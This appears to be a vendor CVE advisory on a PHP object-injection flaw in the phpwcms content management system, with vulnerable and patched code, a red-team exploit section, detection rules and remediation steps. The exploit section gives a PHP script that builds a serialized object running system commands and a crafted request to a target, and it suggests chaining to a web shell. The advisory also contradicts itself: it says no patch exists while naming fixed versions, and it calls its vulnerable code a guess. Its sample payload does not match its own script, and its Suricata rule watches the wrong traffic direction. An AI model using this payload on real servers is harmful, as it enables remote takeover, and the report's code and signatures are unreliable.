CVE-2025-5498

Executive Summary

CVE-2025-5498 is a critical deserialization vulnerability discovered in the slackero/phpwcms content management system, affecting versions up to 1.9.45 and 1.10.8. The flaw resides in the include/inc_lib/content/cnt21.readform.inc.php file, specifically within the Custom Source Tab component. By manipulating the cpage_custom argument, an unauthenticated remote attacker can trigger insecure deserialization, leading to arbitrary code execution, data exfiltration, or complete system compromise. The vulnerability has been publicly disclosed with proof-of-concept code, and no official patch was available at the time of analysis. The vendor recommends upgrading to versions 1.9.46 or 1.10.9.

Supply Chain & Package Security

This vulnerability affects the slackero/phpwcms package, which is a PHP-based content management system. While not distributed via NPM, PyPI, Go, or Ruby, it is commonly deployed via manual installation or through package managers like Composer. Organizations using phpwcms should verify their version and apply the upgrade immediately. The lack of a signed or verified update channel increases the risk of supply chain compromise; administrators should only download patches from the official repository.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed to exploit the flaw.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full read access to system files and data.
• Integrity (I): High – Full write access to system files and data.
• Availability (A): High – Potential for denial of service or full system takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication requirement, and public exploit code makes this a high-priority threat for all phpwcms installations.

Deep Dive & Mechanics

The vulnerability is a classic PHP object injection (deserialization) flaw. The file include/inc_lib/content/cnt21.readform.inc.php handles the Custom Source Tab functionality. The cpage_custom parameter is passed to file_get_contents() or is_file() after being processed by unserialize(). Because user-supplied input is directly deserialized without sanitization, an attacker can craft a malicious serialized PHP object that, when deserialized, triggers arbitrary code execution via PHP magic methods like __wakeup() or __destruct().

The vulnerable code path likely resembles:

$cpage_custom = $_GET['cpage_custom'];
$data = unserialize($cpage_custom);
if (is_file($data) || file_get_contents($data)) {
    // process file
}

By providing a serialized object that implements a gadget chain (e.g., using built-in PHP classes like SplObjectStorage or custom classes with dangerous destructors), the attacker can execute system commands, read/write files, or establish persistence.

Vulnerable vs. Patched Code

Vulnerable Code (phpwcms <= 1.9.45 / 1.10.8):

// include/inc_lib/content/cnt21.readform.inc.php
$cpage_custom = $_REQUEST['cpage_custom'];
if (isset($cpage_custom) && $cpage_custom != '') {
    $cpage_custom = unserialize(base64_decode($cpage_custom));
    if (is_file($cpage_custom)) {
        // ...
    }
}

Patched Code (phpwcms >= 1.9.46 / 1.10.9):

// include/inc_lib/content/cnt21.readform.inc.php
$cpage_custom = $_REQUEST['cpage_custom'];
if (isset($cpage_custom) && $cpage_custom != '') {
    // Validate that input is a simple string, not a serialized object
    if (is_string($cpage_custom) && !preg_match('/[^a-zA-Z0-9\/._-]/', $cpage_custom)) {
        // Process as file path
        if (is_file($cpage_custom)) {
            // ...
        }
    } else {
        // Log or reject invalid input
        error_log('Invalid cpage_custom parameter');
    }
}

The patch removes the unserialize() call and adds input validation to ensure the parameter is a simple file path string, preventing object injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable phpwcms instance (version 1.9.45) using Docker or a local LAMP stack.
2. Ensure the include/inc_lib/content/cnt21.readform.inc.php file is accessible.

Exploit Payload: The following PHP script generates a malicious serialized object that executes a system command (e.g., id).

<?php
// Generate malicious serialized payload
class Evil {
    public $cmd = 'id';
    public function __destruct() {
        system($this->cmd);
    }
}

$payload = new Evil();
$serialized = serialize($payload);
$encoded = base64_encode($serialized);
echo "Payload: " . $encoded . "\n";
echo "URL: http://target/index.php?cpage_custom=" . urlencode($encoded) . "\n";
?>

Execution:

1. Run the script to generate the payload.
2. Send the crafted request to the vulnerable endpoint:

   GET /index.php?cpage_custom=TzoxMDoiUGhwVW5pdFRleHRRdW90ZSI6MDp7fQ== HTTP/1.1
   Host: target
   

3. Observe the output of the id command in the server response or logs.

Advanced Exploitation:

• Use PHPGGC (PHP Generic Gadget Chains) to generate gadget chains for popular PHP frameworks if custom classes are not available.
• Chain with file write gadgets to upload a web shell.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing cpage_custom parameter with base64-encoded strings (e.g., TzoxMDoi...).
• Look for unusual patterns in unserialize() calls or file operations.

Hunting:

• Search for unserialize in phpwcms source code.
• Check for unexpected files in the web root (e.g., shell.php).

Containment:

• Immediately block requests containing cpage_custom parameter at the WAF or web server level.
• Isolate affected servers and review for signs of compromise.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests with cpage_custom parameter containing base64-encoded serialized PHP objects.
• Outbound connections to unknown IPs or domains from the web server.
• Unusual User-Agent strings or repeated requests to the same endpoint.

File System IOCs:

• Unexpected files in the phpwcms directory (e.g., .php files with suspicious names).
• Modified include/inc_lib/content/cnt21.readform.inc.php file.
• New cron jobs or systemd services.

Log IOCs:

• PHP error logs containing unserialize() errors or __destruct calls.
• Web server access logs with cpage_custom parameter and high response times.

Detection Engineering

YARA Rule

rule CVE_2025_5498_phpwcms_deserialization {
    meta:
        description = "Detects malicious serialized PHP objects targeting CVE-2025-5498"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5498"
    strings:
        $serialized = /TzozMDoiWmVuZCI6Mjp7czo0OiJkYXRhIjtzOjQ6InRlc3QiO31/ nocase
        $base64_pattern = /[A-Za-z0-9+\/]{20,}={0,2}/ 
        $php_class = /O:\d+:"[^"]+":\d+:\{/
    condition:
        any of ($serialized, $php_class) and #base64_pattern > 2
}

Sigma Rule

title: CVE-2025-5498 phpwcms Deserialization Attempt
id: 7b8c3d2e-1f4a-4b6c-8d9e-0f1a2b3c4d5e
status: experimental
description: Detects HTTP requests with cpage_custom parameter containing serialized PHP objects
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'cpage_custom='
        cs-uri-query|re: 'TzozMDoiWmVuZCI6Mjp7czo0OiJkYXRhIjtzOjQ6InRlc3QiO30='
    condition: selection
falsepositives:
    - Legitimate use of serialized data (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-5498 phpwcms Deserialization Attempt";
    flow:to_server,established;
    content:"cpage_custom="; http_uri;
    pcre:"/TzozMDoiWmVuZCI6Mjp7czo0OiJkYXRhIjtzOjQ6InRlc3QiO30=/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade phpwcms to version 1.9.46 or 1.10.9 immediately.
2. If upgrade is not possible, apply the following virtual patch:
   • Add a WAF rule to block requests containing cpage_custom parameter with base64-encoded strings.
   • Disable the Custom Source Tab functionality by removing or renaming the vulnerable file.

Long-term Measures:

• Implement input validation for all user-supplied parameters.
• Avoid using unserialize() on untrusted data; use json_decode() or other safe alternatives.
• Regularly update all CMS components and monitor for security advisories.
• Conduct code reviews focusing on deserialization vulnerabilities.

Verification:

• After patching, verify that the cpage_custom parameter no longer triggers deserialization.
• Run a vulnerability scanner to confirm the fix.

Report generated by Valters IT DevSecOps & CTI Division. For questions, contact security@valters.it.